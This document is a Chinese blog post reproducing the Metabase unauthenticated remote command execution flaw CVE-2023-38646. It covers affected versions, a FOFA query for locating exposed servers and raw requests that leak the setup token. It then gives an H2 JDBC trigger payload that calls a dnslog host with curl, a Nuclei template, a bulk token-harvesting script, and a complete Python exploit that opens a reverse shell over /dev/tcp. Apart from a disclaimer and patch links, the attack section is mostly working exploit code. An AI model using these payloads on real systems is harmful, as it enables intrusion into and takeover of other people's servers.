【漏洞复现】Metabase 远程命令执行漏洞(CVE-2023-38646)

傷城~ 2024-03-23 17:32 187阅读 0赞

文章目录

  • 前言
  • 声明
  • 一、漏洞介绍
  • 二、影响版本
  • 三、漏洞原理
  • 四、漏洞复现
  • 五、修复建议

前言

Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞介绍

Metabase是美国Metabase公司的一个开源数据分析平台。Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。

Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令

二、影响版本

在这里插入图片描述


三、漏洞原理

未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令

四、漏洞复现

FOFA: app="Metabase"

在这里插入图片描述
验证漏洞是否存在:

  1. GET /api/session/properties HTTP/1.1
  2. Host: 127.0.0.1
  3. Content-Type: application/json

在这里插入图片描述
回显中存在Setup-token,使用token进行后续利用。(这里测试Dnslog回显)

  1. POST /api/setup/validate HTTP/2
  2. Host: 127.0.0.1
  3. Content-Type: application/json
  4. Content-Length: 748
  5. {
  6. "token": "d3*********************************e2",
  7. "details":
  8. {
  9. "is_on_demand": false,
  10. "is_full_sync": false,
  11. "is_sample": false,
  12. "cache_ttl": null,
  13. "refingerprint": false,
  14. "auto_run_queries": true,
  15. "schedules":
  16. {},
  17. "details":
  18. {
  19. "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl vl5fa6.dnslog.cn')\n$$--=x",
  20. "advanced-options": false,
  21. "ssl": true
  22. },
  23. "name": "an-sec-research-team",
  24. "engine": "h2"
  25. }
  26. }

在这里插入图片描述
有回显,漏洞存在!!!

其他验证方式

XPOC验证
在这里插入图片描述
Nuclei验证
nuclei.exe -u https://X.X.X.X/ -t CVE-2023-38646.yaml
在这里插入图片描述
CVE-2023-38646.yaml 内容如下

  1. id: CVE-2023-38646
  2. info:
  3. name: Metabase - Unauthorized RCE
  4. author: unknown
  5. severity: critical
  6. description: |
  7. Metabase has unauthorized access to execute arbitrary commands.
  8. reference:
  9. - https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
  10. tags: metabase,cve,cve2023
  11. http:
  12. - raw:
  13. - |
  14. GET /api/session/properties HTTP/1.1
  15. Host: {
  16. {Hostname}}
  17. - |
  18. POST /api/setup/validate HTTP/2
  19. Host: {
  20. {Hostname}}
  21. Content-Type: application/json
  22. Content-Length: 244
  23. {"token":"{
  24. {token}}","details":{"is_on_demand":false,"is_full_sync":false,"is_sample":false,"cache_ttl":null,"refingerprint":true,"auto_run_queries":true,"schedules":{},"details":{},"name":"test","engine":"mysql"}}}
  25. matchers-condition: and
  26. matchers:
  27. - type: word
  28. part: body_2
  29. words:
  30. - "we couldn't connect to the database"
  31. extractors:
  32. - type: regex
  33. part: body_1
  34. group: 1
  35. name: token
  36. regex:
  37. - '"setup-token":"(.*?)"'
  38. internal: true

除以上方法外,可以直接使用脚本获取token并反弹Shell

  1. import requests
  2. import argparse
  3. import json
  4. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  5. # Suppress only the single warning from urllib3 needed.
  6. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  7. def get_setup_token(ip_address, line_number=None):
  8. endpoint = "/api/session/properties"
  9. protocols = ['https://', 'http://']
  10. for protocol in protocols:
  11. url = f"{protocol}{ip_address}{endpoint}"
  12. try:
  13. response = requests.get(url, verify=False)
  14. if response.status_code == 200:
  15. data = response.json()
  16. if "setup-token" in data and data["setup-token"] is not None:
  17. print(f"{line_number}. Vulnerable Metabase Instance:-")
  18. print(f" IP: {ip_address}")
  19. print(f" Setup Token: {data['setup-token']}\n")
  20. else:
  21. print(f"{line_number}. Setup token not found or is null for IP: {ip_address}\n")
  22. return # exit the function if request was successful
  23. except requests.exceptions.RequestException as e:
  24. print(f"Failed to connect using {protocol[:-3].upper()} for {ip_address}. Trying next protocol...")
  25. print(f"{line_number}. Failed to connect to {ip_address} using both HTTP and HTTPS.\n")
  26. if __name__ == "__main__":
  27. parser = argparse.ArgumentParser(description='Check setup token')
  28. parser.add_argument('--ip', type=str, help='IP address')
  29. parser.add_argument('--list', type=str, help='Filename containing list of IP addresses')
  30. args = parser.parse_args()
  31. if args.ip:
  32. get_setup_token(args.ip)
  33. elif args.list:
  34. with open(args.list, 'r') as f:
  35. for i, line in enumerate(f, start=1):
  36. ip_address = line.strip()
  37. get_setup_token(ip_address, i)
  38. else:
  39. print("Please provide either an IP address or a file containing a list of IP addresses.")

在这里插入图片描述

  1. import requests
  2. import argparse
  3. import base64
  4. import json
  5. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  6. from urllib.parse import urlparse
  7. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  8. def get_setup_token_and_version(ip_address):
  9. endpoint = "/api/session/properties"
  10. url = f"{ip_address}{endpoint}"
  11. try:
  12. print(f"[DEBUG] Fetching setup token from {url}...")
  13. response = requests.get(url, verify=False)
  14. if response.status_code == 200:
  15. data = response.json()
  16. setup_token = data.get("setup-token")
  17. metabase_version = data.get("version", {}).get("tag")
  18. if setup_token is None:
  19. print(f"[DEBUG] Setup token not found or is null for IP: {ip_address}\n")
  20. else:
  21. print(f"[DEBUG] Setup Token: {setup_token}")
  22. print(f"[DEBUG] Version: {metabase_version}")
  23. return setup_token
  24. except requests.exceptions.RequestException as e:
  25. print(f"[DEBUG] Exception occurred: {e}")
  26. print(f"[DEBUG] Failed to connect to {ip_address}.\n")
  27. def post_setup_validate(ip_address, setup_token, listener_ip, listener_port):
  28. payload = base64.b64encode(f"bash -i >&/dev/tcp/{listener_ip}/{listener_port} 0>&1".encode()).decode()
  29. print(f"[DEBUG] Payload = {payload}")
  30. endpoint = "/api/setup/validate"
  31. url = f"{ip_address}{endpoint}"
  32. headers = {'Content-Type': 'application/json'}
  33. data = {
  34. "token": setup_token,
  35. "details": {
  36. "is_on_demand": False,
  37. "is_full_sync": False,
  38. "is_sample": False,
  39. "cache_ttl": None,
  40. "refingerprint": False,
  41. "auto_run_queries": True,
  42. "schedules": {},
  43. "details": {
  44. "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {
  45. {echo,{payload}}}|{
  46. {base64,-d}}|{
  47. {bash,-i}}')\n$$--=x",
  48. "advanced-options": False,
  49. "ssl": True
  50. },
  51. "name": "test",
  52. "engine": "h2"
  53. }
  54. }
  55. print(f"[DEBUG] Sending request to {url} with headers {headers} and data {json.dumps(data, indent=4)}")
  56. try:
  57. response = requests.post(url, headers=headers, json=data, verify=False)
  58. print(f"[DEBUG] Response received: {response.text}")
  59. if response.status_code == 200:
  60. print(f"[DEBUG] POST to {url} successful.\n")
  61. else:
  62. print(f"[DEBUG] POST to {url} failed with status code: {response.status_code}\n")
  63. except requests.exceptions.RequestException as e:
  64. print(f"[DEBUG] Exception occurred: {e}")
  65. print(f"[DEBUG] Failed to connect to {url}\n")
  66. def preprocess_url(user_input):
  67. parsed_url = urlparse(user_input)
  68. protocol = f"{parsed_url.scheme}://" if parsed_url.scheme else "http://"
  69. netloc = parsed_url.netloc or parsed_url.path
  70. return protocol + netloc.rstrip('/')
  71. if __name__ == "__main__":
  72. parser = argparse.ArgumentParser(description='Check setup token')
  73. parser.add_argument('--rhost', type=str, help='Metabase server IP address (including http:// or https:// and port number if needed)')
  74. parser.add_argument('--lhost', type=str, help='Listener IP address')
  75. parser.add_argument('--lport', type=int, default=4444, help='Listener port (default is 4444)')
  76. args = parser.parse_args()
  77. print(f"[DEBUG] Original rhost: {args.rhost}")
  78. args.rhost = preprocess_url(args.rhost)
  79. print(f"[DEBUG] Preprocessed rhost: {args.rhost}")
  80. print(f"[DEBUG] Input Arguments - rhost: {args.rhost}, lhost: {args.lhost}, lport: {args.lport}")
  81. setup_token = get_setup_token_and_version(args.rhost)
  82. print(f"[DEBUG] Setup token: {setup_token}")
  83. if setup_token:
  84. post_setup_validate(args.rhost, setup_token, args.lhost, args.lport)

在这里插入图片描述

五、修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.metabase.com/blog/security-advisory
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

发表评论

表情:
评论列表 (有 0 条评论,187人围观)

还没有评论,来说两句吧...

相关阅读